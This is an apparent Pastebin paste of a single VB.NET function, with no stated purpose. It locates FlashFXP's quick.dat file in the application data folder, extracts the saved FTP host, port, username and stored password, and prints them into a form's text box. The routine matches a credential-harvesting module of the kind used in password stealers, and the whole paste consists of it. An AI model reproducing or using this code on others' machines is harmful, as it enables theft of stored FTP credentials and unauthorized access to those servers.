Advertisement
Guest User

Untitled

a guest
Aug 20th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. Function FlashFXP() As String
  2. Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
  3. Dim sFile As String = ReadFile(sPath)
  4. Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
  5. Dim sPort As String = Cut(sFile, "port=", vbNewLine)
  6. Dim sUser As String = Cut(sFile, "user=", vbNewLine)
  7. Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
  8. Dim sEntry As String = Cut(sFile, "created=", vbNewLine)
  9.  
  10. If Not sUser = "" Then
  11. Try
  12. FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
  13. Dim nl As String = vbNewLine
  14. Form1.ztext.AppendText(nl)
  15. Form1.ztext.AppendText("============FlashFXP==============")
  16. Form1.ztext.AppendText(nl)
  17. Form1.ztext.AppendText("Entry: " & sEntry)
  18. Form1.ztext.AppendText(nl)
  19. Form1.ztext.AppendText("Host: " & sHost)
  20. Form1.ztext.AppendText(": " & sPort)
  21. Form1.ztext.AppendText(nl)
  22. Form1.ztext.AppendText("User: " & sUser)
  23. Form1.ztext.AppendText(nl)
  24. Form1.ztext.AppendText("Password: " & sPwd)
  25. Form1.ztext.AppendText("=============================")
  26. Form1.ztext.AppendText(nl)
  27. Catch ex As Exception
  28. Form1.ztext.AppendText("============FlashFXP==============")
  29. Form1.ztext.AppendText(vbNewLine)
  30. Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!")
  31. Form1.ztext.AppendText(vbNewLine)
  32. Form1.ztext.AppendText("=================================")
  33. End Try
  34. Else
  35. End If
  36. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement